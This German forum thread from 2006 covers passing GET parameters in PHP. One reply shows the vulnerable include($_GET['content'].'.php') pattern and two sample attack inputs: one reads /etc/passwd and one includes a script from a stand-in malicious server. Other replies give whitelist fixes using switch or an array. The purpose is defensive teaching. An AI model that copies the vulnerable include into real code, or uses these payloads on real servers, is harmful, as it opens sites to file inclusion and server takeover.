Homepage selbermachen 7.852 Themen, 35.619 Beiträge

wlaner „ http://localhost/php/index.php?content gallery gallery sxdx so sollte es...“

17.04.2006, 18:05 Optionen

Deine URL ist an sich richtig, wird aber aus Sicht von HTML und XHTML invalide, da ein & maskiert werden muß, da es sonst als unbekannte Entität angesehen wird 8falls man Wert auf valides HTML legt). Ganz sauber sähe es so aus:

http://localhost/php/index.php?content=gallery&gallery=sxdx

@Originalposter: Was Borlander angemerkt hat ist übrigens sehr wichtig. Würdest Du nämlich z.B. per include dann die Ressource gallery.html oder gallery.php einbinden wäre dies eine böse Lücke mit der schlimmstenfalls der gesamte Server übernommen werden kann. Mach also nie sowas:

include($_GET['content'] . 'php');

hategrown „php daten übergeben“

17.04.2006, 14:12 Optionen

Du nutzt aber hoffentlich nicht den übergebenen Parameter als Dateinamen? Das wäre nämlich eine böse Sicherheitslücke...

Gruß
Borlander

Borlander „Du nutzt aber hoffentlich nicht den übergebenen Parameter als Dateinamen? Das...“

18.04.2006, 15:58 Optionen

hi erst mal danke für die antworten .....
mit dem "&" hats funktioniert, haett man eigentlich auch selbst drauf komme können aber zum glück gibst ja fleißige helfer wie euch...

hm dass das ganze so nicht ganz sicher ist hab ich auch schon gelesen....aber was ernsthaftes ist es eh nicht nur ein wenig rumspielerei mit php und sql
aber wenn wir schon beim thema sind wie könnte man dass ganze "sicher" lösen ?

@xafford : also dass es unsicher ist weiss ich aber wie kann man durch so einen befehl den "gesamten server" übernehmen ?

mfg
matthias

hategrown „hi erst mal danke für die antworten ..... mit dem hats funktioniert, haett man...“

18.04.2006, 16:35 Optionen

Angenommen Du machstwirklich folgendes:

include($_GET['content'].'.php');

und nehmen wir jetzt mal weiter an, in PHP ist der Parameter allow_url_fopenwrappers auf On, was er standardmäßig auch auf fast allen Servern ist. Nimm jetzt mal an, ich will was böses auf deinem Server, dann geht je nach Sicherheitskonfiguration des Servers so einiges. Überlege mal was der Server eventuell mit folgenden übergebenen Parametern machen könnte:

?content=/etc/passwd
?content=http://boser-server.com/boeses-script.php

:o)

xafford „Angenommen Du machstwirklich folgendes: include _GET content . .php und nehmen...“

18.04.2006, 17:19 Optionen

aso ja ok leuchtet ein aber wenn ich es doch so mache muesst ich das ganze doch "entschärfen" können oder nicht ?

$variable = $GET['content'];

...

if ($content=="übergebenerwert") {include ("bsppage.php");}

...

mfg
matthias

hategrown Nachtrag zu: „aso ja ok leuchtet ein aber wenn ich es doch so mache muesst ich das ganze doch...“

18.04.2006, 17:22 Optionen

$variable statt $content natürlich

hategrown „ variable statt content natürlich“

18.04.2006, 18:15 Optionen

Ja, so kannst Du es entschärfen. Geeigneter da übersichtlicher bei mehreren Seiten ist jedoch switch:

$page = 'seite0.html';

switch($_GET['content']) {

case 'seite1':
$page = 'seite1.html';
break;

case 'seite2':
$page = 'seite2.html';
break;

...

case 'seiteN':
$page = 'seiteN.html';
break;

default:
$page = 'gibt_es_nicht.html';

}
include($page);

xafford „Ja, so kannst Du es entschärfen. Geeigneter da übersichtlicher bei mehreren...“

18.04.2006, 19:03 Optionen

... ist ein assoziatives Array ;-)
$pages = array(
"seite1" = > "seite1.html",
//...
"seiteN" = > "seiteN.html",
);

$page = $pages[$_GET['content']];
$page = $page=="" ? "default.htm" : $page; // Unbekannten Wert abfangen
include($page);

Gruß
bor

Borlander „... ist ein assoziatives Array - pages array seite1 seite1.html , //... seiteN...“

18.04.2006, 21:31 Optionen

Okay, ist komfortabler ... (aber langsame) :o)

xafford „Okay, ist komfortabler ... aber langsame :o “

18.04.2006, 22:37 Optionen

Hast Du das mal gebencht? Zumindest bei sehr vielen Auswahlmöglichkeiten sollte das doch schneller werden (irgendwann hatte ich mal gelesen das die Arrays auf als Hash-Listen implementiert sind).

Gruß
bor

Borlander „Hast Du das mal gebencht? Zumindest bei sehr vielen Auswahlmöglichkeiten sollte...“

18.04.2006, 23:29 Optionen

Nein gebencht habeich es nicht, allerdings dürfte der Aufbau eines Arrays über die Allkokation von Speicher und der Lookup eines Hashtable mehr Taktzyklen verschlingen, als ein paar JNEs. Das dürfte letztendlich aber beides unerheblich sein, ich wollte nur was zu Meckern haben ;o)

xafford „Nein gebencht habeich es nicht, allerdings dürfte der Aufbau eines Arrays über...“

19.04.2006, 00:33 Optionen

Nach Du meine Illusionen sparsamer Laufzeit nun zerstört hast muß ich Dich aber auch noch ein wenig ärgern :D Das Parsing des Scriptes sollte auch nicht vernachlässigt werde, bei Lösung mit Switch muß der viel mehr Zeichen fressen :p

Borlander „Nach Du meine Illusionen sparsamer Laufzeit nun zerstört hast muß ich Dich...“

19.04.2006, 09:03 Optionen

Ja, aber zur Compilezeit muß ja auch der Speicher alloziiert werden für das Array... ;o)... einigen wir uns aus unentschieden? :D

xafford „Ja, aber zur Compilezeit muß ja auch der Speicher alloziiert werden für das...“

22.04.2006, 19:48 Optionen

... einigen wir uns aus unentschieden? :D
Aber klar doch :-)

hategrown Nachtrag zu: „php daten übergeben“

27.04.2006, 19:16 Optionen

so hi ich wieder mal ....

ich möchte folgendes machen ..... ich habe kleines forum für ein paar friends von mir ... und jetzt möchte ich dass sich die user des forums auch auf meiner php seite einloggn können und dann bestimmte bereiche angezigt werden usw ....

wie kann ich denn sowas bewerkstelligen ....

mfg
matthias

hategrown „so hi ich wieder mal .... ich möchte folgendes machen ..... ich habe kleines...“

29.04.2006, 21:06 Optionen

... im einfachsten Fall kannst Du das sogar ohne PHP lösen mit Hilfe von htaccess (siehe auch SelfHTML).

Borlander „... im einfachsten Fall kannst Du das sogar ohne PHP lösen mit Hilfe von...“

30.04.2006, 21:28 Optionen

naja ich wuerde aber gerna die user und laufenden registrierungen von der foren software gern uebernehmen.
also die user direkt aus dieser datenbank auslesen. deswegen wäre htaccess glaub ich ein wenig ungeignet oder ?

hategrown „naja ich wuerde aber gerna die user und laufenden registrierungen von der foren...“

01.05.2006, 16:43 Optionen

die user und laufenden registrierungen von der foren software gern uebernehmen.
Gibt es für die Forensoftware nicht schon ein fertiges Modul, oder eine Schnittstelle für ein solches Modul?

also die user direkt aus dieser datenbank auslesen.
Das wäre natürlich kein Problem mit den mysql_*-Funktionen...

Am besten schildest Du nochmal an welcher Stelle Du konkret festhängst, ggf. auch in einem neuen Thread.